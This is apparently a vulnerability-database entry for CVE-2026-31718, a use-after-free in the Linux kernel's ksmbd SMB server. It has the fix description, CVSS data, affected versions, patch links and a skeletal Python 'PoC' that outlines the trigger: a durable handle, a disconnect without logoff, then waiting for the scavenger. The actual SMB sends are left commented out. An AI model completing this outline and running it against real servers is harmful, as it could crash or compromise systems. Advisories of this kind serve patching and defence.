Security Vulnerability Report
中文
CVE-2026-31718 CVSS 9.8 CRITICAL

CVE-2026-31718

Published: 2026-05-01 14:16:22
Last Modified: 2026-05-17 16:16:16
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in __ksmbd_close_fd() via durable scavenger When a durable file handle survives session disconnect (TCP close without SMB2_LOGOFF), session_fd_check() sets fp->conn = NULL to preserve the handle for later reconnection. However, it did not clean up the byte-range locks on fp->lock_list. Later, when the durable scavenger thread times out and calls __ksmbd_close_fd(NULL, fp), the lock cleanup loop did: spin_lock(&fp->conn->llist_lock); This caused a slab use-after-free because fp->conn was NULL and the original connection object had already been freed by ksmbd_tcp_disconnect(). The root cause is asymmetric cleanup: lock entries (smb_lock->clist) were left dangling on the freed conn->lock_list while fp->conn was nulled out. To fix this issue properly, we need to handle the lifetime of smb_lock->clist across three paths: - Safely skip clist deletion when list is empty and fp->conn is NULL. - Remove the lock from the old connection's lock_list in session_fd_check() - Re-add the lock to the new connection's lock_list in ksmbd_reopen_durable_fd().

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel (ksmbd模块启用版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-31718 # This script demonstrates the steps to trigger the UAF in ksmbd. # It creates a durable handle, disconnects without logoff, and waits for the scavenger. import socket import struct import time TARGET_IP = "192.168.1.10" SMB_PORT = 445 def send_smb_negotiate(sock): # Simplified SMB2 NEGOTIATE request header # Real implementation requires constructing valid SMB2 headers print("[+] Sending SMB Negotiate...") # sock.send(...) def send_smb_session_setup(sock): print("[+] Sending Session Setup...") # sock.send(...) def create_durable_handle(sock): print("[+] Creating file with Durable Handle...") # Request specific flags: SMB2_CREATE_DURABLE_HANDLE_REQUEST # This ensures the file handle (fp) survives a disconnect. # sock.send(...) def trigger_vulnerability(): print(f"[*] Connecting to {TARGET_IP}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, SMB_PORT)) try: # 1. Establish SMB Session send_smb_negotiate(sock) send_smb_session_setup(sock) # 2. Create a file with a durable handle create_durable_handle(sock) # 3. Disconnect without sending SMB2_LOGOFF # This triggers session_fd_check() -> fp->conn = NULL # but leaves locks on fp->lock_list. print("[!] Closing TCP connection abruptly (No Logoff)...") sock.close() # 4. Wait for the durable scavenger timeout # The scavenger calls __ksmbd_close_fd(NULL, fp) # It tries spin_lock(&fp->conn->llist_lock) -> UAF print("[*] Waiting for durable scavenger to timeout...") time.sleep(60) # Wait for kernel thread to trigger print("[*] Exploit trigger attempted.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31718", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:21.963", "lastModified": "2026-05-17T16:16:16.300", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free in __ksmbd_close_fd() via durable scavenger\n\nWhen a durable file handle survives session disconnect (TCP close without\nSMB2_LOGOFF), session_fd_check() sets fp->conn = NULL to preserve the\nhandle for later reconnection. However, it did not clean up the byte-range\nlocks on fp->lock_list.\n\nLater, when the durable scavenger thread times out and calls\n__ksmbd_close_fd(NULL, fp), the lock cleanup loop did:\n\n spin_lock(&fp->conn->llist_lock);\n\nThis caused a slab use-after-free because fp->conn was NULL and the\noriginal connection object had already been freed by\nksmbd_tcp_disconnect().\n\nThe root cause is asymmetric cleanup: lock entries (smb_lock->clist) were\nleft dangling on the freed conn->lock_list while fp->conn was nulled out.\n\nTo fix this issue properly, we need to handle the lifetime of\nsmb_lock->clist across three paths:\n - Safely skip clist deletion when list is empty and fp->conn is NULL.\n - Remove the lock from the old connection's lock_list in\n session_fd_check()\n - Re-add the lock to the new connection's lock_list in\n ksmbd_reopen_durable_fd()."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.32", "versionEndExcluding": "6.7", "matchCriteriaId": "2C15E547-F33F-4337-A576-685C65C6D439"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9", "versionEndExcluding": "6.12.84", "matchCriteriaId": "E8C01EA7-003E-4236-9C2D-0C2322FB0CE3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.25", "matchCriteriaId": "8B0A7E0E-F6D8-45DB-8CD9-01839FE40A6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0000a7780e0e446a28a273572f6ea8f7f582f694", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/235e32320a470fcd3998fb3774f2290a0eb302a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3d6682726c2d3a46d31dae88b8166786b09b03ad", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b34fc42cfe922e551f7a27d3ac3bb016e41d7dd9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e33c65f011980b4ad4abfd93585ec2079856368f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}